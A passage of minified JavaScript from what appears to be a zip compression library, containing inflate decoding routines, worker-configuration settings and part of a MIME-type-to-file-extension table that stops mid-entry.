fe=B.avail_in-de,fe=re>>3>3:fe,de+=fe,Ee-=fe,re-=fe<<3,C.bitb=me,C.bitk=re,B.avail_in=de,B.total_in+=Ee-B.next_in_index,B.next_in_index=Ee,C.write=le,Ue}n.init=function(_,w,I,M,V,L){t=Sn,U=_,E=w,D=I,O=M,Y=V,ae=L,a=null},n.proc=function(_,w,I){let M,V,L,C=0,B=0,$=0,G,Z,H,me;for($=w.next_in_index,G=w.avail_in,C=_.bitb,B=_.bitk,Z=_.write,H=Z<_.read?_.read-Z-1:_.end-Z;;)switch(t){case Sn:if(H>=258&&G>=10&&(_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,I=y(U,E,D,O,Y,ae,_,w),$=w.next_in_index,G=w.avail_in,C=_.bitb,B=_.bitk,Z=_.write,H=Z<_.read?_.read-Z-1:_.end-Z,I!=Ue)){t=I==wt?ei:In;break}c=U,a=D,s=O,t=Xi;case Xi:for(M=c;B>>=a[V+1],B-=a[V+1],L=a[V],L===0){u=a[V+2],t=ta;break}if(L&16){v=L&15,e=a[V+2],t=Ji;break}if(!(L&64)){c=L,s=V/3+a[V+2];break}if(L&32){t=ei;break}return t=In,w.msg="invalid literal/length code",I=Fe,_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);case Ji:for(M=v;B>=M,B-=M,c=E,a=Y,s=ae,t=Qi;case Qi:for(M=c;B>=a[V+1],B-=a[V+1],L=a[V],L&16){v=L&15,b=a[V+2],t=zi;break}if(!(L&64)){c=L,s=V/3+a[V+2];break}return t=In,w.msg="invalid distance code",I=Fe,_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);case zi:for(M=v;B>=M,B-=M,t=ea;case ea:for(me=Z-b;me<0;)me+=_.end;for(;e!==0;){if(H===0&&(Z==_.end&&_.read!==0&&(Z=0,H=Z<_.read?_.read-Z-1:_.end-Z),H===0&&(_.write=Z,I=_.inflate_flush(w,I),Z=_.write,H=Z<_.read?_.read-Z-1:_.end-Z,Z==_.end&&_.read!==0&&(Z=0,H=Z<_.read?_.read-Z-1:_.end-Z),H===0)))return _.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);_.window[Z++]=_.window[me++],H--,me==_.end&&(me=0),e--}t=Sn;break;case ta:if(H===0&&(Z==_.end&&_.read!==0&&(Z=0,H=Z<_.read?_.read-Z-1:_.end-Z),H===0&&(_.write=Z,I=_.inflate_flush(w,I),Z=_.write,H=Z<_.read?_.read-Z-1:_.end-Z,Z==_.end&&_.read!==0&&(Z=0,H=Z<_.read?_.read-Z-1:_.end-Z),H===0)))return _.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);I=Ue,_.window[Z++]=u,H--,t=Sn;break;case ei:if(B>7&&(B-=8,G++,$--),_.write=Z,I=_.inflate_flush(w,I),Z=_.write,H=Z<_.read?_.read-Z-1:_.end-Z,_.read!=_.write)return _.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);t=na;case na:return I=wt,_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);case In:return I=Fe,_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I);default:return I=Ze,_.bitb=C,_.bitk=B,w.avail_in=G,w.total_in+=$-w.next_in_index,w.next_in_index=$,_.write=Z,_.inflate_flush(w,I)}},n.free=function(){}}var ia=[16,17,18,0,8,7,9,6,10,5,11,4,12,3,13,2,14,1,15],qt=0,ti=1,aa=2,ra=3,sa=4,oa=5,Tn=6,Un=7,la=8,Ot=9;function os(n,t){let e=this,a=qt,s=0,c=0,u=0,v,b=[0],U=[0],E=new ss,D=0,O=new Int32Array(Ya*3),Y=0,ae=new hi;e.bitk=0,e.bitb=0,e.window=new Uint8Array(t),e.end=t,e.read=0,e.write=0,e.reset=function(y,_){_&&(_[0]=Y),a==Tn&&E.free(y),a=qt,e.bitk=0,e.bitb=0,e.read=e.write=0},e.reset(n,null),e.inflate_flush=function(y,_){let w,I,M;return I=y.next_out_index,M=e.read,w=(M<=e.write?e.write:e.end)-M,w>y.avail_out&&(w=y.avail_out),w!==0&&_==gt&&(_=Ue),y.avail_out-=w,y.total_out+=w,y.next_out.set(e.window.subarray(M,M+w),I),I+=w,M+=w,M==e.end&&(M=0,e.write==e.end&&(e.write=0),w=e.write-M,w>y.avail_out&&(w=y.avail_out),w!==0&&_==gt&&(_=Ue),y.avail_out-=w,y.total_out+=w,y.next_out.set(e.window.subarray(M,M+w),I),I+=w,M+=w),y.next_out_index=I,e.read=M,_},e.proc=function(y,_){let w,I,M,V,L,C,B,$;for(V=y.next_in_index,L=y.avail_in,I=e.bitb,M=e.bitk,C=e.write,B=C>>1){case 0:I>>>=3,M-=3,w=M&7,I>>>=w,M-=w,a=ti;break;case 1:G=[],Z=[],H=[[]],me=[[]],hi.inflate_trees_fixed(G,Z,H,me),E.init(G[0],Z[0],H[0],0,me[0],0),I>>>=3,M-=3,a=Tn;break;case 2:I>>>=3,M-=3,a=ra;break;case 3:return I>>>=3,M-=3,a=Ot,y.msg="invalid block type",_=Fe,e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_)}break;case ti:for(;M<32;){if(L!==0)_=Ue;else return e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);L--,I|=(y.read_byte(V++)&255)<>>16&65535)!=(I&65535))return a=Ot,y.msg="invalid stored block lengths",_=Fe,e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);s=I&65535,I=M=0,a=s!==0?aa:D!==0?Un:qt;break;case aa:if(L===0||B===0&&(C==e.end&&e.read!==0&&(C=0,B=CL&&(w=L),w>B&&(w=B),e.window.set(y.read_buf(V,w),C),V+=w,L-=w,C+=w,B-=w,(s-=w)!==0)break;a=D!==0?Un:qt;break;case ra:for(;M<14;){if(L!==0)_=Ue;else return e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);L--,I|=(y.read_byte(V++)&255)<29||(w>>5&31)>29)return a=Ot,y.msg="too many length or distance symbols",_=Fe,e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);if(w=258+(w&31)+(w>>5&31),!v||v.length>>=14,M-=14,u=0,a=sa;case sa:for(;u<4+(c>>>10);){for(;M<3;){if(L!==0)_=Ue;else return e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);L--,I|=(y.read_byte(V++)&255)<>>=3,M-=3}for(;u<19;)v[ia[u++]]=0;if(b[0]=7,w=ae.inflate_trees_bits(v,b,U,O,y),w!=Ue)return _=w,_==Fe&&(v=null,a=Ot),e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);u=0,a=oa;case oa:for(;w=c,!(u>=258+(w&31)+(w>>5&31));){let ve,Ae;for(w=b[0];M>>=w,M-=w,v[u++]=Ae;else{for($=Ae==18?7:Ae-14,ve=Ae==18?11:3;M>>=w,M-=w,ve+=I&Je[$],I>>>=$,M-=$,$=u,w=c,$+ve>258+(w&31)+(w>>5&31)||Ae==16&&$<1)return v=null,a=Ot,y.msg="invalid bit length repeat",_=Fe,e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);Ae=Ae==16?v[$-1]:0;do v[$++]=Ae;while(--ve!==0);u=$}}if(U[0]=-1,re=[],Ee=[],de=[],le=[],re[0]=9,Ee[0]=6,w=c,w=ae.inflate_trees_dynamic(257+(w&31),1+(w>>5&31),v,re,Ee,de,le,O,y),w!=Ue)return w==Fe&&(v=null,a=Ot),_=w,e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,e.inflate_flush(y,_);E.init(re[0],Ee[0],O,de[0],O,le[0]),a=Tn;case Tn:if(e.bitb=I,e.bitk=M,y.avail_in=L,y.total_in+=V-y.next_in_index,y.next_in_index=V,e.write=C,(_=E.proc(e,y,_))!=wt)return e.inflate_flush(y,_);if(_=Ue,E.free(y),V=y.next_in_index,L=y.avail_in,I=e.bitb,M=e.bitk,C=e.write,B=C15?(n.inflateEnd(e),Ze):(n.wbits=a,e.istate.blocks=new os(e,1<>4)+8>u.wbits){u.mode=Tt,e.msg="invalid window size",u.marker=5;break}u.mode=ca;case ca:if(e.avail_in===0)return s;if(s=a,e.avail_in--,e.total_in++,c=e.read_byte(e.next_in_index++)&255,((u.method<<8)+c)%31!==0){u.mode=Tt,e.msg="incorrect header check",u.marker=5;break}if(!(c&ls)){u.mode=ln;break}u.mode=da;case da:if(e.avail_in===0)return s;s=a,e.avail_in--,e.total_in++,u.need=(e.read_byte(e.next_in_index++)&255)<<24&4278190080,u.mode=fa;case fa:if(e.avail_in===0)return s;s=a,e.avail_in--,e.total_in++,u.need+=(e.read_byte(e.next_in_index++)&255)<<16&16711680,u.mode=ua;case ua:if(e.avail_in===0)return s;s=a,e.avail_in--,e.total_in++,u.need+=(e.read_byte(e.next_in_index++)&255)<<8&65280,u.mode=_a;case _a:return e.avail_in===0?s:(s=a,e.avail_in--,e.total_in++,u.need+=e.read_byte(e.next_in_index++)&255,u.mode=ni,Yr);case ni:return u.mode=Tt,e.msg="need dictionary",u.marker=0,Ze;case ln:if(s=u.blocks.proc(e,s),s==Fe){u.mode=Tt,u.marker=0;break}if(s==Ue&&(s=a),s!=wt)return s;s=a,u.blocks.reset(e,u.was),u.mode=pa;case pa:return wt;case Tt:return Fe;default:return Ze}},n.inflateSetDictionary=function(e,a,s){let c=0,u=s;if(!e||!e.istate||e.istate.mode!=ni)return Ze;let v=e.istate;return u>=1<0&&e.next_in_index!=O&&(b(e.next_in_index),O=e.next_in_index)}while(e.avail_in>0||e.avail_out===0);return U.length>1?(D=new Uint8Array(ae),U.forEach(function(y){D.set(y,Y),Y+=y.length})):D=U[0]||new Uint8Array(0),D}},t.flush=function(){e.inflateEnd()}}var ps={chunkSize:512*1024,maxWorkers:typeof navigator<"u"&&navigator.hardwareConcurrency||2,useWebWorkers:!0,workerScripts:void 0},it=Object.assign({},ps);function xs(){return it}function Ja(n){if(n.chunkSize!==void 0&&(it.chunkSize=n.chunkSize),n.maxWorkers!==void 0&&(it.maxWorkers=n.maxWorkers),n.useWebWorkers!==void 0&&(it.useWebWorkers=n.useWebWorkers),n.Deflate!==void 0&&(it.Deflate=n.Deflate),n.Inflate!==void 0&&(it.Inflate=n.Inflate),n.workerScripts!==void 0){if(n.workerScripts.deflate){if(!Array.isArray(n.workerScripts.deflate))throw new Error("workerScripts.deflate must be an array");it.workerScripts||(it.workerScripts={}),it.workerScripts.deflate=n.workerScripts.deflate}if(n.workerScripts.inflate){if(!Array.isArray(n.workerScripts.inflate))throw new Error("workerScripts.inflate must be an array");it.workerScripts||(it.workerScripts={}),it.workerScripts.inflate=n.workerScripts.inflate}}}var cn={application:{"andrew-inset":"ez",annodex:"anx","atom+xml":"atom","atomcat+xml":"atomcat","atomserv+xml":"atomsrv",bbolin:"lin",cap:["cap","pcap"],"cu-seeme":"cu","davmount+xml":"davmount",dsptype:"tsp",ecmascript:["es","ecma"],futuresplash:"spl",hta:"hta","java-archive":"jar","java-serialized-object":"ser","java-vm":"class",javascript:"js",m3g:"m3g","mac-binhex40":"hqx",mathematica:["nb","ma","mb"],msaccess:"mdb",msword:["doc","dot"],mxf:"mxf",oda:"oda",ogg:"ogx",pdf:"pdf","pgp-keys":"key","pgp-signature":["asc","sig"],"pics-rules":"prf",postscript:["ps","ai","eps","epsi","epsf","eps2","eps3"],rar:"rar","rdf+xml":"rdf","rss+xml":"rss",rtf:"rtf",smil:["smi","smil"],"xhtml+xml":["xhtml","xht"],xml:["xml","xsl","xsd"],"xspf+xml":"xspf",zip:"zip","vnd.android.package-archive":"apk","vnd.cinderella":"cdy","vnd.google-earth.kml+xml":"kml","vnd.google-earth.kmz":"kmz","vnd.mozilla.xul+xml":"xul","vnd.ms-excel":["xls","xlb","xlt","xlm","xla","xlc","xlw"],"vnd.ms-pki.seccat":"cat","vnd.ms-pki.stl":"stl","vnd.ms-powerpoint":["ppt","pps","pot"],"vnd.oasis.opendocument.chart":"odc","vnd.oasis.opendocument.database":"odb","vnd.oasis.opendocument.formula":"odf","vnd.oasis.opendocument.graphics":"odg","vnd.oasis.opendocument.graphics-template":"otg","vnd.oasis.opendocument.image":"odi","vnd.oasis.opendocument.presentation":"odp","vnd.oasis.opendocument.presentation-template":"otp","vnd.oasis.opendocument.spreadsheet":"ods","vnd.oasis.opendocument.spreadsheet-template":"ots","vnd.oasis.opendocument.text":"odt","vnd.oasis.opendocument.text-master":"odm","vnd.oasis.opendocument.text-template":"ott","vnd.oasis.opendocument.text-web":"oth","vnd.openxmlformats-officedocument.spreadsheetml.sheet":"xlsx","vnd.openxmlformats-officedocument.spreadsheetml.template":"xltx","vnd.openxmlformats-officedocument.presentationml.presentation":"pptx","vnd.openxmlformats-officedocument.presentationml.slideshow":"ppsx","vnd.openxmlformats-officedocument.presentationml.template":"potx","vnd.openxmlformats-officedocument.wordprocessingml.document":"docx","vnd.openxmlformats-officedocument.wordprocessingml.template":"dotx","vnd.smaf":"mmf","vnd.stardivision.calc":"sdc","vnd.stardivision.chart":"sds","vnd.stardivision.draw":"sda","vnd.stardivision.impress":"sdd","vnd.stardivision.math":["sdf","smf"],"vnd.stardivision.writer":["sdw","vor"],"vnd.stardivision.writer-global":"sgl","vnd.sun.xml.calc":"sxc","vnd.sun.xml.calc.template":"stc","vnd.sun.xml.draw":"sxd","vnd.sun.xml.draw.template":"std","vnd.sun.xml.impress":"sxi","vnd.sun.xml.impress.template":"sti","vnd.sun.xml.math":"sxm","vnd.sun.xml.writer":"sxw","vnd.sun.xml.writer.global":"sxg","vnd.sun.xml.writer.template":"stw","vnd.symbian.install":["sis","sisx"],"vnd.visio":["vsd","vst","vss","vsw"],"vnd.wap.wbxml":"wbxml","vnd.wap.wmlc":"wmlc","vnd.wap.wmlscriptc":"wmlsc","vnd.wordperfect":"wpd","vnd.wordperfect5.1":"wp5","x-123":"wk","x-7z-compressed":"7z","x-abiword":"abw","x-apple-diskimage":"dmg","x-bcpio":"bcpio","x-bittorrent":"torrent","x-cbr":["cbr","cba","cbt","cb7"],"x-cbz":"cbz","x-cdf":["cdf","cda"],"x-cdlink":"vcd","x-chess-pgn":"pgn","x-cpio":"cpio","x-csh":"csh","x-debian-package":["deb","udeb"],"x-director":["dcr","dir","dxr","cst","cct","cxt","w3d","fgd","swa"],"x-dms":"dms","x-doom":"wad","x-dvi":"dvi","x-httpd-eruby":"rhtml","x-font":"pcf.Z","x-freemind":"mm","x-gnumeric":"gnumeric","x-go-sgf":"sgf","x-graphing-calculator":"gcf","x-gtar":["gtar","taz"],"x-hdf":"hdf","x-httpd-php":["phtml","pht","php"],"x-httpd-php-source":"phps","x-httpd-php3":"php3","x-httpd-php3-preprocessed":"php3p","x-httpd-php4":"php4","x-httpd-php5":"php5","x-ica":"ica","x-info":"info","x-internet-signup":["ins","isp"],"x-iphone":"iii","x-iso9660-image":"iso","x-java-jnlp-file":"jnlp","x-jmol":"jmz","x-killustrator":"kil","x-koan":["skp","skd","skt","skm"],"x-kpresenter":["kpr","kpt"],"x-kword":["kwd","kwt"],"x-latex":"latex","x-lha":"lha","x-lyx":"lyx","x-lzh":"lzh","x-lzx":"lzx","x-maker":["frm","maker","frame","fm","fb","book","fbdoc"],"x-ms-wmd":"wmd","x-ms-wmz":"wmz","x-msdos-program":["com","exe","bat","dll"],"x-msi":"msi","x-netcdf":["nc","cdf"],"x-ns-proxy-autoconfig":["pac","dat"],"x-nwc":"nwc","x-object":"o","x-oz-application":"oza","x-pkcs7-certreqresp":"p7r","x-python-code":["pyc","pyo"],"x-qgis":["qgs","shp","shx"],"x-quicktimeplayer":"qtl","x-redhat-package-manager":"rpm","x-ruby":"rb","x-sh":"sh","x-shar":"shar","x-shockwave-flash":["swf","swfl"],"x-silverlight":"scr","x-stuffit":"sit","x-sv4cpio":"sv4cpio","x-sv4crc":"sv4crc","x-tar":"tar","x-tcl":"tcl","x-tex-gf":"gf","x-tex-pk":"pk","x-texinfo":["texinfo","texi"],"x-trash":["~","%","bak","old","sik"],"x-troff":["t","tr","roff"],"x-troff-man":"man","x-troff-me":"me","x-troff-ms":"ms","x-ustar":"ustar","x-wais-source":"src","x-wingz":"wz","x-x509-ca-cert":["crt","der","cer"],"x-xcf":"xcf","x-xfig":"fig","x-xpinstall":"xpi",applixware:"aw","atomsvc+xml":"atomsvc","ccxml+xml":"ccxml","cdmi-capability":"cdmia","cdmi-container":"cdmic","cdmi-domain":"cdmid","cdmi-object":"cdmio","cdmi-queue":"cdmiq","docbook+xml":"dbk","dssc+der":"dssc","dssc+xml":"xdssc","emma+xml":"emma","epub+zip":"epub",exi:"exi","font-tdpfr":"pfr","gml+xml":"gml","gpx+xml":"gpx",gxf:"gxf",hyperstudio:"stk","inkml+xml":["ink","inkml"],ipfix:"ipfix",json:"json","jsonml+json":"jsonml","lost+xml":"lostxml","mads+xml":"mads",marc:"mrc","marcxml+xml":"mrcx","mathml+xml":"mathml",mbox:"mbox","mediaservercontrol+xml":"mscml","metalink+xml":"metalink","metalink4+xml":"meta4","mets+xml":"mets","mods+xml":"mods",mp21:["m21","mp21"],mp4:"mp4s","oebps-package+xml":"opf","omdoc+xml":"omdoc",onenote:["onetoc","onetoc2","onetmp","onepkg"],oxps:"oxps","patch-ops-error+xml":"xer","pgp-encrypted":"pgp",pkcs10:"p10","pkcs7-mime":["p7m","p7c"],"pkcs7-signature":"p7s",pkcs8:"p8","pkix-attr-cert":"ac","pkix-crl":"crl","pkix-pkipath":"pkipath",pkixcmp:"pki","pls+xml":"pls","prs.cww":"cww","pskc+xml":"pskcxml","reginfo+xml":"rif","relax-ng-compact-syntax":"rnc","resource-lists+xml":"rl","resource-lists-diff+xml":"rld","rls-services+xml":"rs","rpki-ghostbusters":"gbr","rpki-manifest":"mft","rpki-roa":"roa","rsd+xml":"rsd","sbml+xml":"sbml","scvp-cv-request":"scq","scvp-cv-response":"scs","scvp-vp-request":"spq","scvp-vp-response":"spp",sdp:"sdp","set-payment-initiation":"setpay","set-registration-initiation":"setreg","shf+xml":"shf","sparql-query":"rq","sparql-results+xml":"srx",srgs:"gram","srgs+xml":"grxml","sru+xml":"sru","ssdl+xml":"ssdl","ssml+xml":"ssml","tei+xml":["tei","teicorpus"],"thraud+xml":"tfi","timestamped-data":"tsd","vnd.3gpp.pic-bw-large":"plb","vnd.3gpp.pic-bw-small":"psb","vnd.3gpp.pic-bw-var":"pvb","vnd.3gpp2.tcap":"tcap","vnd.3m.post-it-notes":"pwn","vnd.accpac.simply.aso":"aso","vnd.accpac.simply.imp":"imp","vnd.acucobol":"acu","vnd.acucorp":["atc","acutc"],"vnd.adobe.air-application-installer-package+zip":"air","vnd.adobe.formscentral.fcdt":"fcdt","vnd.adobe.fxp":["fxp","fxpl"],"vnd.adobe.xdp+xml":"xdp","vnd.adobe.xfdf":"xfdf","vnd.ahead.space":"ahead","vnd.airzip.filesecure.azf":"azf","vnd.airzip.filesecure.azs":"azs","vnd.amazon.ebook":"azw","vnd.americandynamics.acc":"acc","vnd.amiga.ami":"ami","vnd.anser-web-certificate-issue-initiation":"cii","vnd.anser-web-funds-transfer-initiation":"fti","vnd.antix.game-component":"atx","vnd.apple.installer+xml":"mpkg","vnd.apple.mpegurl":"m3u8","vnd.aristanetworks.swi":"swi","vnd.astraea-software.iota":"iota","vnd.audiograph":"aep","vnd.blueice.multipass":"mpm","vnd.bmi":"bmi","vnd.businessobjects":"rep","vnd.chemdraw+xml":"cdxml","vnd.chipnuts.karaoke-mmd":"mmd","vnd.claymore":"cla","vnd.cloanto.rp9":"rp9","vnd.clonk.c4group":["c4g","c4d","c4f","c4p","c4u"],"vnd.cluetrust.cartomobile-config":"c11amc","vnd.cluetrust.cartomobile-config-pkg":"c11amz","vnd.commonspace":"csp","vnd.contact.cmsg":"cdbcmsg","vnd.cosmocaller":"cmc","vnd.crick.clicker":"clkx","vnd.crick.clicker.keyboard":"clkk","vnd.crick.clicker.palette":"clkp","vnd.crick.clicker.template":"clkt","vnd.crick.clicker.wordbank":"clkw","vnd.criticaltools.wbs+xml":"wbs","vnd.ctc-posml":"pml","vnd.cups-ppd":"ppd","vnd.curl.car":"car","vnd.curl.pcurl":"pcurl","vnd.dart":"dart","vnd.data-vision.rdz":"rdz","vnd.dece.data":["uvf","uvvf","uvd","uvvd"],"vnd.dece.ttml+xml":["uvt","uvvt"],"vnd.dece.unspecified":["uvx","uvvx"],"vnd.dece.zip":["uvz","uvvz"],"vnd.denovo.fcselayout-link":"fe_launch","vnd.dna":"dna","vnd.dolby.mlp":"mlp","vnd.dpgraph":"dpg","vnd.dreamfactory":"dfac","vnd.ds-keypoint":"kpxx","vnd.dvb.ait":"ait","vnd.dvb.service":"svc","vnd.dynageo":"geo","vnd.ecowin.chart":"mag","vnd.enliven":"nml","vnd.epson.esf":"esf","vnd.epson.msf":"msf","vnd.epson.quickanime":"qam","vnd.epson.salt":"slt","vnd.epson.ssf":"ssf","vnd.eszigno3+xml":["es3","et3"],"vnd.ezpix-album":"ez2","vnd.ezpix-package":"ez3","vnd.fdf":"fdf","vnd.fdsn.mseed":"mseed","vnd.fdsn.seed":["seed","dataless"],"vnd.flographit":"gph","vnd.fluxtime.clip":"ftc","vnd.framemaker":["fm","frame","maker","book"],"vnd.frogans.fnc":"fnc","vnd.frogans.ltf":"ltf","vnd.fsc.weblaunch":"fsc","vnd.fujitsu.oasys":"oas","vnd.fujitsu.oasys2":"oa2","vnd.fujitsu.oasys3":"oa3","vnd.fujitsu.oasysgp":"fg5","vnd.fujitsu.oasysprs":"bh2","vnd.fujixerox.ddd":"ddd","vnd.fujixerox.docuworks":"xdw","vnd.fujixerox.docuworks.binder":"xbd","vnd.fuzzysheet":"fzs","vnd.genomatix.tuxedo":"txd","vnd.geogebra.file":"ggb","vnd.geogebra.tool":"ggt","vnd.geometry-explorer":["gex","gre"],"vnd.geonext":"gxt","vnd.geoplan":"g2w","vnd.geospace":"g3w","vnd.gmx":"gmx","vnd.grafeq":["gqf","gqs"],"vnd.groove-account":"gac","vnd.groove-help":"ghf","vnd.groove-identity-message":"gim","vnd.groove-injector":"grv","vnd.groove-tool-message":"gtm","vnd.groove-tool-template":"tpl","vnd.groove-vcard":"vcg","vnd.hal+xml":"hal","vnd.handheld-entertainment+xml":"zmm","vnd.hbci":"hbci","vnd.hhe.lesson-player":"les","vnd.hp-hpgl":"hpgl","vnd.hp-hpid":"hpid","vnd.hp-hps":"hps","vnd.hp-jlyt":"jlt","vnd.hp-pcl":"pcl","vnd.hp-pclxl":"pclxl","vnd.hydrostatix.sof-data":"sfd-hdstx","vnd.ibm.minipay":"mpy","vnd.ibm.modcap":["afp","listafp","list3820"],"vnd.ibm.rights-management":"irm","vnd.ibm.secure-container":"sc","vnd.iccprofile":["icc","icm"],"vnd.igloader":"igl","vnd.immervision-ivp":"ivp","vnd.immervision-ivu":"ivu","vnd.insors.igm":"igm","vnd.intercon.formnet":["xpw","xpx"],"vnd.intergeo":"i2g","vnd.intu.qbo":"qbo","vnd.intu.qfx":"qfx","vnd.ipunplugged.rcprofile":"rcprofile","vnd.irepository.package+xml":"irp","vnd.is-xpr":"xpr","vnd.isac.fcs":"fcs","vnd.jam":"jam","vnd.jcp.javame.midlet-rms":"rms","vnd.jisp":"jisp","vnd.joost.joda-archive":"joda","vnd.kahootz":["ktz","ktr"],"vnd.kde.karbon":"karbon","vnd.kde.kchart":"chrt","vnd.kde.kformula":"kfo","vnd.kde.kivio":"flw","vnd.kde.kontour":"kon","vnd.kde.kpresenter":["kpr","kpt"],"vnd.kde.kspread":"ksp","vnd.kde.kword":["kwd","kwt"],"vnd.kenameaapp":"htke","vnd.kidspiration":"kia","vnd.kinar":["kne","knp"],"vnd.koan":["skp","skd","skt","skm"],"vnd.kodak-descriptor":"sse","vnd.las.las+xml":"lasxml","vnd.llamagraphics.life-balance.desktop":"lbd","vnd.llamagraphics.life-balance.exchange+xml":"lbe","vnd.lotus-1-2-3":"123","vnd.lotus-approach":"apr","vnd.lotus-freelance":"pre","vnd.lotus-notes":"nsf","vnd.lotus-organizer":"org","vnd.lotus-screencam":"scm","vnd.lotus-wordpro":"lwp","vnd.macports.portpkg":"portpkg","vnd.mcd":"mcd","vnd.medcalcdata":"mc1","vnd.mediastation.cdkey":"cdkey","vnd.mfer":"mwf","vnd.mfmp":"mfm","vnd.micrografx.flo":"flo","vnd.micrografx.igx":"igx","vnd.mif":"mif","vnd.mobius.daf":"daf","vnd.mobius.dis":"dis","vnd.mobius.mbk":"mbk","vnd.mobius.mqy":"mqy","vnd.mobius.msl":"msl","vnd.mobius.plc":"plc","vnd.mobius.txf":"txf","vnd.mophun.application":"mpn","vnd.mophun.certificate":"mpc","vnd.ms-artgalry":"cil","vnd.ms-cab-compressed":"cab","vnd.ms-excel.addin.macroenabled.12":"xlam","vnd.ms-excel.sheet.binary.macroenabled.12":"xlsb","vnd.ms-excel.sheet.macroenabled.12":"xlsm","vnd.ms-excel.template.macroenabled.12":"xltm","vnd.ms-fontobject":"eot","vnd.ms-htmlhelp":"chm","vnd.ms-ims":"ims","vnd.ms-lrm":"lrm","vnd.ms-officetheme":"thmx","vnd.ms-powerpoint.addin.macroenabled.12":"ppam","vnd.ms-powerpoint.presentation.macroenabled.12":"pptm","vnd.ms-powerpoint.slide.macroenabled.12":"sldm","vnd.ms-powerpoint.slideshow.macroenabled.12":"ppsm","vnd.ms-powerpoint.template.macroenabled.12":"potm","vnd.ms-project":["mpp","mpt"],"vnd.ms-word.document.macroenabled.12":"docm","vnd.ms-word.template.macroenabled.12":"dotm","vnd.ms-works":["wps","wks","wcm","wdb"],"vnd.ms-wpl":"wpl","vnd.ms-xpsdocument":"xps","vnd.mseq":"mseq","vnd.musician":"mus","vnd.muvee.style":"msty","vnd.mynfc":"taglet","vnd.neurolanguage.nlu":"nlu","vnd.nitf":["ntf","nitf"],"vnd.noblenet-directory":"nnd","vnd.noblenet-sealer":"nns","vnd.noblenet-web":"nnw","vnd.nokia.n-gage.data":"ngdat","vnd.nokia.n-gage.symbian.install":"n-gage","vnd.nokia.radio-preset":"rpst","vnd.nokia.radio-presets":"rpss","vnd.novadigm.edm":"edm","vnd.novadigm.edx":"edx","vnd.novadigm.ext":"ext","vnd.oasis.opendocument.chart-template":"otc","vnd.oasis.opendocument.formula-template":"odft","vnd.oasis.opendocument.image-template":"oti","vnd.olpc-sugar":"xo","vnd.oma.dd2+xml":"dd2","vnd.openofficeorg.extension":"oxt","vnd.openxmlformats-officedocument.presentationml.slide":"sldx","vnd.osgeo.mapguide.package":"mgp","vnd.osgi.dp":"dp","vnd.osgi.subsystem":"esa","vnd.palm":["pdb","pqa","oprc"],"vnd.pawaafile":"paw","vnd.pg.format":"str","vnd.pg.osasli":"ei6","vnd.picsel":"efif","vnd.pmi.widget":"wg","vnd.pocketlearn":"plf","vnd.powerbuilder6":"pbd","vnd.previewsystems.box":"box","vnd.proteus.magazine":"mgz","vnd.publishare-delta-tree":"qps","vnd.pvi.ptid1":"ptid","vnd.quark.quarkxpress":["qxd","qxt","qwd","qwt","qxl","qxb"],"vnd.realvnc.bed":"bed","vnd.recordare.musicxml":"mxl","vnd.recordare.musicxml+xml":"musicxml","vnd.rig.cryptonote":"cryptonote","vnd.rn-realmedia":"rm","vnd.rn-realmedia-vbr":"rmvb","vnd.route66.link66+xml":"link66","vnd.sailingtracker.track":"st","vnd.seemail":"see","vnd.sema":"sema","vnd.semd":"semd","vnd.semf":"semf","vnd.shana.informed.formdata":"ifm","vnd.shana.informed.formtemplate":"itp","vnd.shana.informed.interchange":"iif","vnd.shana.informed.package":"ipk","vnd.simtech-mindmapper":["twd","twds"],"vnd.smart.teacher":"teacher","vnd.solent.sdkm+xml":["sdkm","sdkd"],"vnd.spotfire.dxp":"dxp","vnd.spotfire.sfs":"sfs","vnd.stepmania.package":"smzip","vnd.stepmania.stepchart":"sm","vnd.sus-calendar":["sus","susp"],"vnd.svd":"svd","vnd.syncml+xml":"xsm","vnd.syncml.dm+wbxml":"bdm","vnd.syncml.dm+xml":"xdm","vnd.tao.intent-module-archive":"tao","vnd.tcpdump.pcap":["pcap","cap","dmp"],"vnd.tmobile-livetv":"tmo","vnd.trid.tpt":"tpt","vnd.triscape.mxs":"mxs","vnd.trueapp":"tra","vnd.ufdl":["ufd","ufdl"],"vnd.uiq.theme":"utz","vnd.umajin":"umj","vnd.unity":"unityweb","vnd.uoml+xml":"uoml","vnd.vcx":"vcx","vnd.visionary":"vis","vnd.vsf":"vsf","vnd.webturbo":"wtb","vnd.wolfram.player":"nbp","vnd